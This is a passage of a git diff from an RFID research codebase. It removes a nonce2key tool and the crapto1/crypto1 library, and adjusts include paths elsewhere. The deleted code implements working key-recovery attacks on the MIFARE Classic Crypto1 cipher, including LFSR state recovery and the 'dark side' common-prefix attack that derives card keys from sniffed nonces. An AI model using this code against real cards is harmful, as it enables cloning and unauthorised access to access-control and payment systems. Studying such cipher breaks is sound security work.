-       s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
-
-       return ret;
-}
-uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
-{
-       uint8_t i, ret = 0;
-
-       for (i = 0; i < 8; ++i)
-               ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
-
-       return ret;
-}
-uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
-{
-       uint32_t i, ret = 0;
-
-       for (i = 0; i < 32; ++i)
-               ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
-
-       return ret;
-}
-
-/* prng_successor
- * helper used to obscure the keystream during authentication
- */
-uint32_t prng_successor(uint32_t x, uint32_t n)
-{
-       SWAPENDIAN(x);
-       while(n--)
-               x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
-
-       return SWAPENDIAN(x);
-}
index 44fee4a289bfd6369b4d953684313bcb9024b20c..a018c5dfbbabc3c989357876da14a2def99e1dff 100755 (executable)
@@ -1,5 +1,5 @@
 #include <inttypes.h>
-#include "crapto1.h"
+#include "crapto1/crapto1.h"
 #include <stdio.h>
 #include <stdlib.h>
 
index e7eb9dbee30c42a308f4dc2646df4656fb085a78..4b9b29ee32ea50c7bfebffdca254e7989b5babd5 100755 (executable)
@@ -1,5 +1,5 @@
 #include <inttypes.h>
-#include "crapto1.h"
+#include "crapto1/crapto1.h"
 #include <stdio.h>
 #include <string.h>
 
@@ -34,7 +34,7 @@ int main (int argc, char *argv[]) {
   for (int i = 0; i < encc; i++) {
     enclen[i] = strlen(argv[i + 6]) / 2;
     for (int i2 = 0; i2 < enclen[i]; i2++) {
-      sscanf(argv[i+6] + i2*2,"%2x", (uint8_t*)&enc[i][i2]);
+      sscanf(argv[i+6] + i2*2,"%2x", (unsigned int *)&enc[i][i2]);
     }
   }
   printf("Recovering key for:\n");
diff --git a/tools/nonce2key/Makefile b/tools/nonce2key/Makefile
deleted file mode 100644 (file)
index 54abf80..0000000
+++ /dev/null
@@ -1,22 +0,0 @@
-CC = gcc
-LD = gcc
-CFLAGS = -Wall -O4 -c
-LDFLAGS =
-
-OBJS = crypto1.o crapto1.o
-HEADERS = crapto1.h
-EXES = nonce2key
-
-all: $(OBJS) $(EXES)
-
-%.o : %.c
-       $(CC) $(CFLAGS) -o $@ $<
-
-% : %.c
-       $(LD) $(LDFLAGS) -o $@ $(OBJS) $<
-
-crypto1test: libnfc $(OBJS)
-       $(LD) $(LDFLAGS) -o crypto1test crypto1test.c $(OBJS)
-clean: 
-       rm -f $(OBJS) $(EXES)
diff --git a/tools/nonce2key/crapto1.c b/tools/nonce2key/crapto1.c
deleted file mode 100644 (file)
index c0a158b..0000000
+++ /dev/null
@@ -1,494 +0,0 @@
-/*  crapto1.c\r
-\r
-    This program is free software; you can redistribute it and/or\r
-    modify it under the terms of the GNU General Public License\r
-    as published by the Free Software Foundation; either version 2\r
-    of the License, or (at your option) any later version.\r
-\r
-    This program is distributed in the hope that it will be useful,\r
-    but WITHOUT ANY WARRANTY; without even the implied warranty of\r
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r
-    GNU General Public License for more details.\r
-\r
-    You should have received a copy of the GNU General Public License\r
-    along with this program; if not, write to the Free Software\r
-    Foundation, Inc., 51 Franklin Street, Fifth Floor,\r
-    Boston, MA  02110-1301, US$\r
-\r
-    Copyright (C) 2008-2008 bla <blapost@gmail.com>\r
-*/\r
-#include "crapto1.h"\r
-#include <stdlib.h>\r
-\r
-#if !defined LOWMEM && defined __GNUC__\r
-static uint8_t filterlut[1 << 20];\r
-static void __attribute__((constructor)) fill_lut()\r
-{\r
-        uint32_t i;\r
-        for(i = 0; i < 1 << 20; ++i)\r
-                filterlut[i] = filter(i);\r
-}\r
-#define filter(x) (filterlut[(x) & 0xfffff])\r
-#endif\r
-\r
-static void quicksort(uint32_t* const start, uint32_t* const stop)\r
-{\r
-       uint32_t *it = start + 1, *rit = stop;\r
-\r
-       if(it > rit)\r
-               return;\r
-\r
-       while(it < rit)\r
-               if(*it <= *start)\r
-                       ++it;\r
-               else if(*rit > *start)\r
-                       --rit;\r
-               else\r
-                       *it ^= (*it ^= *rit, *rit ^= *it);\r
-\r
-       if(*rit >= *start)\r
-               --rit;\r
-       if(rit != start)\r
-               *rit ^= (*rit ^= *start, *start ^= *rit);\r
-\r
-       quicksort(start, rit - 1);\r
-       quicksort(rit + 1, stop);\r
-}\r
-/** binsearch\r
- * Binary search for the first occurence of *stop's MSB in sorted [start,stop]\r
- */\r
-static inline uint32_t*\r
-binsearch(uint32_t *start, uint32_t *stop)\r
-{\r
-       uint32_t mid, val = *stop & 0xff000000;\r
-       while(start != stop)\r
-               if(start[mid = (stop - start) >> 1] > val)\r
-                       stop = &start[mid];\r
-               else\r
-                       start += mid + 1;\r
-\r
-       return start;\r
-}\r
-\r
-/** update_contribution\r
- * helper, calculates the partial linear feedback contributions and puts in MSB\r
- */\r
-static inline void\r
-update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)\r
-{\r
-       uint32_t p = *item >> 25;\r
-\r
-       p = p << 1 | parity(*item & mask1);\r
-       p = p << 1 | parity(*item & mask2);\r
-       *item = p << 24 | (*item & 0xffffff);\r
-}\r
-\r
-/** extend_table\r
- * using a bit of the keystream extend the table of possible lfsr states\r
- */\r
-static inline void\r
-extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in)\r
-{\r
-       in <<= 24;\r
-       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
-               if(filter(*tbl) ^ filter(*tbl | 1)) {\r
-                       *tbl |= filter(*tbl) ^ bit;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl ^= in;\r
-               } else if(filter(*tbl) == bit) {\r
-                       *++*end = tbl[1];\r
-                       tbl[1] = tbl[0] | 1;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl++ ^= in;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl ^= in;\r
-               } else\r
-                       *tbl-- = *(*end)--;\r
-}\r
-/** extend_table_simple\r
- * using a bit of the keystream extend the table of possible lfsr states\r
- */\r
-static inline void\r
-extend_table_simple(uint32_t *tbl, uint32_t **end, int bit)\r
-{\r
-       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
-               if(filter(*tbl) ^ filter(*tbl | 1)) {\r
-                       *tbl |= filter(*tbl) ^ bit;\r
-               } else if(filter(*tbl) == bit) {\r
-                       *++*end = *++tbl;\r
-                       *tbl = tbl[-1] | 1;\r
-               } else\r
-                       *tbl-- = *(*end)--;\r
-}\r
-/** recover\r
- * recursively narrow down the search space, 4 bits of keystream at a time\r
- */\r
-static struct Crypto1State*\r
-recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,\r
-       uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,\r
-       struct Crypto1State *sl, uint32_t in)\r
-{\r
-       uint32_t *o, *e, i;\r
-\r
-       if(rem == -1) {\r
-               for(e = e_head; e <= e_tail; ++e) {\r
-                       *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);\r
-                       for(o = o_head; o <= o_tail; ++o, ++sl) {\r
-                               sl->even = *o;\r
-                               sl->odd = *e ^ parity(*o & LF_POLY_ODD);\r
-                               sl[1].odd = sl[1].even = 0;\r
-                       }\r
-               }\r
-               return sl;\r
-       }\r
-\r
-       for(i = 0; i < 4 && rem--; i++) {\r
-               extend_table(o_head, &o_tail, (oks >>= 1) & 1,\r
-                       LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0);\r
-               if(o_head > o_tail)\r
-                       return sl;\r
-\r
-               extend_table(e_head, &e_tail, (eks >>= 1) & 1,\r
-                       LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3);\r
-               if(e_head > e_tail)\r
-                       return sl;\r
-       }\r
-\r
-       quicksort(o_head, o_tail);\r
-       quicksort(e_head, e_tail);\r
-\r
-       while(o_tail >= o_head && e_tail >= e_head)\r
-               if(((*o_tail ^ *e_tail) >> 24) == 0) {\r
-                       o_tail = binsearch(o_head, o = o_tail);\r
-                       e_tail = binsearch(e_head, e = e_tail);\r
-                       sl = recover(o_tail--, o, oks,\r
-                                    e_tail--, e, eks, rem, sl, in);\r
-               }\r
-               else if(*o_tail > *e_tail)\r
-                       o_tail = binsearch(o_head, o_tail) - 1;\r
-               else\r
-                       e_tail = binsearch(e_head, e_tail) - 1;\r
-\r
-       return sl;\r
-}\r
-/** lfsr_recovery\r
- * recover the state of the lfsr given 32 bits of the keystream\r
- * additionally you can use the in parameter to specify the value\r
- * that was fed into the lfsr at the time the keystream was generated\r
- */\r
-struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in)\r
-{\r
-       struct Crypto1State *statelist;\r
-       uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;\r
-       uint32_t *even_head = 0, *even_tail = 0, eks = 0;\r
-       int i;\r
-\r
-       for(i = 31; i >= 0; i -= 2)\r
-               oks = oks << 1 | BEBIT(ks2, i);\r
-       for(i = 30; i >= 0; i -= 2)\r
-               eks = eks << 1 | BEBIT(ks2, i);\r
-\r
-       odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);\r
-       even_head = even_tail = malloc(sizeof(uint32_t) << 21);\r
-       statelist =  malloc(sizeof(struct Crypto1State) << 18);\r
-       if(!odd_tail-- || !even_tail-- || !statelist)\r
-               goto out;\r
-\r
-       statelist->odd = statelist->even = 0;\r
-\r
-       for(i = 1 << 20; i >= 0; --i) {\r
-               if(filter(i) == (oks & 1))\r
-                       *++odd_tail = i;\r
-               if(filter(i) == (eks & 1))\r
-                       *++even_tail = i;\r
-       }\r
-\r
-       for(i = 0; i < 4; i++) {\r
-               extend_table_simple(odd_head,  &odd_tail, (oks >>= 1) & 1);\r
-               extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);\r
-       }\r
-\r
-       in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);\r
-       recover(odd_head, odd_tail, oks,\r
-               even_head, even_tail, eks, 11, statelist, in << 1);\r
-\r
-out:\r
-       free(odd_head);\r
-       free(even_head);\r
-       return statelist;\r
-}\r
-\r
-static const uint32_t S1[] = {     0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214,\r
-       0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,\r
-       0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA};\r
-static const uint32_t S2[] = {  0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60,\r
-       0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,\r
-       0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,\r
-       0x7EC7EE90, 0x7F63F748, 0x79117020};\r
-static const uint32_t T1[] = {\r
-       0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,\r
-       0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,\r
-       0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,\r
-       0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C};\r
-static const uint32_t T2[] = {  0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0,\r
-       0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,\r
-       0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,\r
-       0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,\r
-       0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,\r
-       0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0};\r
-static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD};\r
-static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0};\r
-/** Reverse 64 bits of keystream into possible cipher states\r
- * Variation mentioned in the paper. Somewhat optimized version\r
- */\r
-struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3)\r
-{\r
-       struct Crypto1State *statelist, *sl;\r
-       uint8_t oks[32], eks[32], hi[32];\r
-       uint32_t low = 0,  win = 0;\r
-       uint32_t *tail, table[1 << 16];\r
-       int i, j;\r
-\r
-       sl = statelist = malloc(sizeof(struct Crypto1State) << 4);\r
-       if(!sl)\r
-               return 0;\r
-       sl->odd = sl->even = 0;\r
-\r
-       for(i = 30; i >= 0; i -= 2) {\r
-               oks[i >> 1] = BIT(ks2, i ^ 24);\r
-               oks[16 + (i >> 1)] = BIT(ks3, i ^ 24);\r
-       }\r
-       for(i = 31; i >= 0; i -= 2) {\r
-               eks[i >> 1] = BIT(ks2, i ^ 24);\r
-               eks[16 + (i >> 1)] = BIT(ks3, i ^ 24);\r
-       }\r
-\r
-       for(i = 0xfffff; i >= 0; --i) {\r
-               if (filter(i) != oks[0])\r
-                       continue;\r
-\r
-               *(tail = table) = i;\r
-               for(j = 1; tail >= table && j < 29; ++j)\r
-                       extend_table_simple(table, &tail, oks[j]);\r
-\r
-               if(tail < table)\r
-                       continue;\r
-\r
-               for(j = 0; j < 19; ++j)\r
-                       low = low << 1 | parity(i & S1[j]);\r
-               for(j = 0; j < 32; ++j)\r
-                       hi[j] = parity(i & T1[j]);\r
-\r
-               for(; tail >= table; --tail) {\r
-                       for(j = 0; j < 3; ++j) {\r
-                               *tail = *tail << 1;\r
-                               *tail |= parity((i & C1[j]) ^ (*tail & C2[j]));\r
-                               if(filter(*tail) != oks[29 + j])\r
-                                       goto continue2;\r
-                       }\r
-\r
-                       for(j = 0; j < 19; ++j)\r
-                               win = win << 1 | parity(*tail & S2[j]);\r
-\r
-                       win ^= low;\r
-                       for(j = 0; j < 32; ++j) {\r
-                               win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);\r
-                               if(filter(win) != eks[j])\r
-                                       goto continue2;\r
-                       }\r
-\r
-                       *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);\r
-                       sl->odd = *tail ^ parity(LF_POLY_ODD & win);\r
-                       sl->even = win;\r
-                       ++sl;\r
-                       sl->odd = sl->even = 0;\r
-                       continue2:;\r
-               }\r
-       }\r
-       return statelist;\r
-}\r
-\r
-/** lfsr_rollback_bit\r
- * Rollback the shift register in order to get previous states\r
- */\r
-void lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int out;\r
-\r
-       s->odd &= 0xffffff;\r
-       s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);\r
-\r
-       out = s->even & 1;\r
-       out ^= LF_POLY_EVEN & (s->even >>= 1);\r
-       out ^= LF_POLY_ODD & s->odd;\r
-       out ^= !!in;\r
-       out ^= filter(s->odd) & !!fb;\r
-\r
-       s->even |= parity(out) << 23;\r
-}\r
-/** lfsr_rollback_byte\r
- * Rollback the shift register in order to get previous states\r
- */\r
-void lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int i;\r
-       for (i = 7; i >= 0; --i)\r
-               lfsr_rollback_bit(s, BEBIT(in, i), fb);\r
-}\r
-/** lfsr_rollback_word\r
- * Rollback the shift register in order to get previous states\r
- */\r
-void lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int i;\r
-       for (i = 31; i >= 0; --i)\r
-               lfsr_rollback_bit(s, BEBIT(in, i), fb);\r
-}\r
-\r
-/** nonce_distance\r
- * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y\r
- */\r
-static uint16_t *dist = 0;\r
-int nonce_distance(uint32_t from, uint32_t to)\r
-{\r
-       uint16_t x, i;\r
-       if(!dist) {\r
-               dist = malloc(2 << 16);\r
-               if(!dist)\r
-                       return -1;\r
-               for (x = i = 1; i; ++i) {\r
-                       dist[(x & 0xff) << 8 | x >> 8] = i;\r
-                       x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;\r
-               }\r
-       }\r
-       return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;\r
-}\r
-\r
-\r
-static uint32_t fastfwd[2][8] = {\r
-       { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},\r
-       { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}};\r
-\r
-\r
-/** lfsr_prefix_ks\r
- *\r
- * Is an exported helper function from the common prefix attack\r
- * Described in the "dark side" paper. It returns an -1 terminated array\r
- * of possible partial(21 bit) secret state.\r
- * The required keystream(ks) needs to contain the keystream that was used to\r
- * encrypt the NACK which is observed when varying only the 4 last bits of Nr\r
- * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3\r
- */\r
-uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)\r
-{\r
-       uint32_t *candidates = malloc(4 << 21);\r
-       uint32_t c,  entry;\r
-       int size, i;\r
-\r
-       if(!candidates)\r
-               return 0;\r
-\r
-       size = (1 << 21) - 1;\r
-       for(i = 0; i <= size; ++i)\r
-               candidates[i] = i;\r
-\r
-       for(c = 0;  c < 8; ++c)\r
-               for(i = 0;i <= size; ++i) {\r
-                       entry = candidates[i] ^ fastfwd[isodd][c];\r
-\r
-                       if(filter(entry >> 1) == BIT(ks[c], isodd))\r
-                               if(filter(entry) == BIT(ks[c], isodd + 2))\r
-                                       continue;\r
-\r
-                       candidates[i--] = candidates[size--];\r
-               }\r
-\r
-       candidates[size + 1] = -1;\r
-\r
-       return candidates;\r
-}\r
-\r
-/** brute_top\r
- * helper function which eliminates possible secret states using parity bits\r
- */\r
-static struct Crypto1State*\r
-brute_top(uint32_t prefix, uint32_t rresp, unsigned char parities[8][8],\r
-          uint32_t odd, uint32_t even, struct Crypto1State* sl)\r
-{\r
-       struct Crypto1State s;\r
-       uint32_t ks1, nr, ks2, rr, ks3, good, c;\r
-\r
-       for(c = 0; c < 8; ++c) {\r
-               s.odd = odd ^ fastfwd[1][c];\r
-               s.even = even ^ fastfwd[0][c];\r
-               \r
-               lfsr_rollback_bit(&s, 0, 0);\r
-               lfsr_rollback_bit(&s, 0, 0);\r
-               lfsr_rollback_bit(&s, 0, 0);\r
-               \r
-               lfsr_rollback_word(&s, 0, 0);\r
-               lfsr_rollback_word(&s, prefix | c << 5, 1);\r
-               \r
-               sl->odd = s.odd;\r
-               sl->even = s.even;\r
-       \r
-               ks1 = crypto1_word(&s, prefix | c << 5, 1);\r
-               ks2 = crypto1_word(&s,0,0);\r
-               ks3 = crypto1_word(&s, 0,0);\r
-               nr = ks1 ^ (prefix | c << 5);\r
-               rr = ks2 ^ rresp;\r
-\r
-               good = 1;\r
-               good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);\r
-               good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);\r
-               good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2,  8);\r
-               good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2,  0);\r
-               good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ BIT(ks3, 24);\r
-\r
-               if(!good)\r
-                       return sl;\r
-       }\r
-\r
-       return ++sl;\r
-} \r
-\r
-\r
-/** lfsr_common_prefix\r
- * Implentation of the common prefix attack.\r
- * Requires the 28 bit constant prefix used as reader nonce (pfx)\r
- * The reader response used (rr)\r
- * The keystream used to encrypt the observed NACK's (ks)\r
- * The parity bits (par)\r
- * It returns a zero terminated list of possible cipher states after the\r
- * tag nonce was fed in\r
- */\r
-struct Crypto1State*\r
-lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])\r
-{\r
-       struct Crypto1State *statelist, *s;\r
-       uint32_t *odd, *even, *o, *e, top;\r
-\r
-       odd = lfsr_prefix_ks(ks, 1);\r
-       even = lfsr_prefix_ks(ks, 0);\r
-\r
-       statelist = malloc((sizeof *statelist) << 20);\r
-       if(!statelist || !odd || !even)\r
-                return 0;\r
-\r
-\r
-       s = statelist;\r
-       for(o = odd; *o != 0xffffffff; ++o)\r
-               for(e = even; *e != 0xffffffff; ++e)\r
-                       for(top = 0; top < 64; ++top) {\r
-                               *o = (*o & 0x1fffff) | (top << 21);\r
-                               *e = (*e & 0x1fffff) | (top >> 3) << 21;\r
-                               s = brute_top(pfx, rr, par, *o, *e, s);\r
-                       }\r
-\r
-       s->odd = s->even = 0;\r
-\r
-       free(odd);\r
-       free(even);\r
-\r
-       return statelist;\r
-}\r
diff --git a/tools/nonce2key/crapto1.h b/tools/nonce2key/crapto1.h
deleted file mode 100644 (file)
index 3b2cf17..0000000
+++ /dev/null
@@ -1,94 +0,0 @@
-/*  crapto1.h
-
-    This program is free software; you can redistribute it and/or
-    modify it under the terms of the GNU General Public License
-    as published by the Free Software Foundation; either version 2
-    of the License, or (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
-    MA  02110-1301, US$
-
-    Copyright (C) 2008-2008 bla <blapost@gmail.com>
-*/
-#ifndef CRAPTO1_INCLUDED
-#define CRAPTO1_INCLUDED
-#include <stdint.h>
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-struct Crypto1State {uint32_t odd, even;};
-struct Crypto1State* crypto1_create(uint64_t);
-void crypto1_destroy(struct Crypto1State*);
-void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
-uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
-uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
-uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
-uint32_t prng_successor(uint32_t x, uint32_t n);
-
-struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
-struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
-uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
-struct Crypto1State*
-lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]);
-
-
-void lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb);
-void lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb);
-void lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb);
-int nonce_distance(uint32_t from, uint32_t to);
-#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
-       uint32_t __n = 0,__M = 0, N = 0;\
-       int __i;\
-       for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
-               for(__i = FSIZE - 1; __i >= 0; __i--)\
-                       if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
-                               break;\
-                       else if(__i)\
-                               __M = prng_successor(__M, (__i == 7) ? 48 : 8);\
-                       else 
-
-#define LF_POLY_ODD (0x29CE5C)
-#define LF_POLY_EVEN (0x870804)
-#define BIT(x, n) ((x) >> (n) & 1)
-#define BEBIT(x, n) BIT(x, (n) ^ 24)
-static inline int parity(uint32_t x)
-{
-#if !defined __i386__ || !defined __GNUC__
-       x ^= x >> 16;
-       x ^= x >> 8;
-       x ^= x >> 4;
-       return BIT(0x6996, x & 0xf);
-#else
-        asm(    "movl %1, %%eax\n"
-               "mov %%ax, %%cx\n"
-               "shrl $0x10, %%eax\n"
-               "xor %%ax, %%cx\n"
-                "xor %%ch, %%cl\n"
-                "setpo %%al\n"
-                "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx");
-       return x;
-#endif
-}
-static inline int filter(uint32_t const x)
-{
-       uint32_t f;
-
-       f  = 0xf22c0 >> (x       & 0xf) & 16;
-       f |= 0x6c9c0 >> (x >>  4 & 0xf) &  8;
-       f |= 0x3c8b0 >> (x >>  8 & 0xf) &  4;
-       f |= 0x1e458 >> (x >> 12 & 0xf) &  2;
-       f |= 0x0d938 >> (x >> 16 & 0xf) &  1;
-       return BIT(0xEC57E80A, f);
-}
-#ifdef __cplusplus
-}
-#endif
-#endif
diff --git a/tools/nonce2key/crypto1.c b/tools/nonce2key/crypto1.c
deleted file mode 100644 (file)
index fbf8889..0000000
+++ /dev/null
@@ -1,93 +0,0 @@
-/*  crypto1.c
-
-    This program is free software; you can redistribute it and/or
-    modify it under the terms of the GNU General Public License
-    as published by the Free Software Foundation; either version 2
-    of the License, or (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
-    MA  02110-1301, US
-
-    Copyright (C) 2008-2008 bla <blapost@gmail.com>
-*/
-#include "crapto1.h"
-#include <stdlib.h>
-
-#define SWAPENDIAN(x)\
-       (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
-
-struct Crypto1State * crypto1_create(uint64_t key)
-{
-       struct Crypto1State *s = malloc(sizeof(*s));
-       int i;
-
-       for(i = 47;s && i > 0; i -= 2) {
-               s->odd  = s->odd  << 1 | BIT(key, (i - 1) ^ 7);
-               s->even = s->even << 1 | BIT(key, i ^ 7);
-       }
-       return s;
-}
-void crypto1_destroy(struct Crypto1State *state)
-{
-       free(state);
-}
-void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
-{
-       int i;
-       for(*lfsr = 0, i = 23; i >= 0; --i) {
-               *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
-               *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
-       }
-}
-uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
-{
-       uint32_t feedin;
-       uint8_t ret = filter(s->odd);
-
-       feedin  = ret & !!is_encrypted;
-       feedin ^= !!in;
-       feedin ^= LF_POLY_ODD & s->odd;
-       feedin ^= LF_POLY_EVEN & s->even;
-       s->even = s->even << 1 | parity(feedin);
-
-       s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
-
-       return ret;
-}
-uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
-{
-       uint8_t i, ret = 0;
-
-       for (i = 0; i < 8; ++i)
-               ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
-
-       return ret;
-}
-uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
-{
-       uint32_t i, ret = 0;
-
-       for (i = 0; i < 4; ++i, in <<= 8)
-               ret = ret << 8 | crypto1_byte(s, in >> 24, is_encrypted);
-
-       return ret;
-}
-
-/* prng_successor
- * helper used to obscure the keystream during authentication
- */
-uint32_t prng_successor(uint32_t x, uint32_t n)
-{
-       SWAPENDIAN(x);
-       while(n--)
-               x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
-
-       return SWAPENDIAN(x);
-}
diff --git a/tools/nonce2key/nonce2key.c b/tools/nonce2key/nonce2key.c
deleted file mode 100644 (file)
index cc22ce7..0000000
+++ /dev/null
@@ -1,57 +0,0 @@
-#include "crapto1.h"
-#include <inttypes.h>
-#include <stdio.h>
-typedef unsigned char byte_t;
-
-int main(const int argc, const char* argv[]) {
-  struct Crypto1State *state;
-  uint32_t pos, uid, nt, nr, rr, nr_diff, ks1, ks2;
-  byte_t bt, i, ks3x[8], par[8][8];
-  uint64_t key, key_recovered;
-  uint64_t par_info;
-  uint64_t ks_info;
-  nr = rr = 0;
-  
-  if (argc < 5) {
-    printf("\nsyntax: %s <uid> <nt> <par> <ks>\n\n",argv[0]);
-    return 1;
-  }
-  sscanf(argv[1],"%08x",&uid);
-  sscanf(argv[2],"%08x",&nt);
-  sscanf(argv[3],"%016" SCNx64,&par_info);
-  sscanf(argv[4],"%016" SCNx64,&ks_info);
-  
-  // Reset the last three significant bits of the reader nonce
-  nr &= 0xffffff1f;
-  
-  printf("\nuid(%08x) nt(%08x) par(%016" PRIx64 ") ks(%016" PRIx64 ")\n\n",uid,nt,par_info,ks_info);
-
-  for (pos=0; pos<8; pos++)
-  {
-    ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
-    bt = (par_info >> (pos*8)) & 0xff;
-    for (i=0; i<8; i++)
-    {
-      par[7-pos][i] = (bt >> i) & 0x01;
-    }
-  }
-
-  printf("|diff|{nr}    |ks3|ks3^5|parity         |\n");
-  printf("+----+--------+---+-----+---------------+\n");
-  for (i=0; i<8; i++)
-  {
-    nr_diff = nr | i << 5;
-    printf("| %02x |%08x|",i << 5, nr_diff);
-    printf(" %01x |  %01x  |",ks3x[i], ks3x[i]^5);
-    for (pos=0; pos<7; pos++) printf("%01x,",par[i][pos]);
-    printf("%01x|\n",par[i][7]);
-  }
-  
-  state = lfsr_common_prefix(nr,rr,ks3x,par);
-  lfsr_rollback_word(state,uid^nt,0);
-  crypto1_get_lfsr(state,&key_recovered);
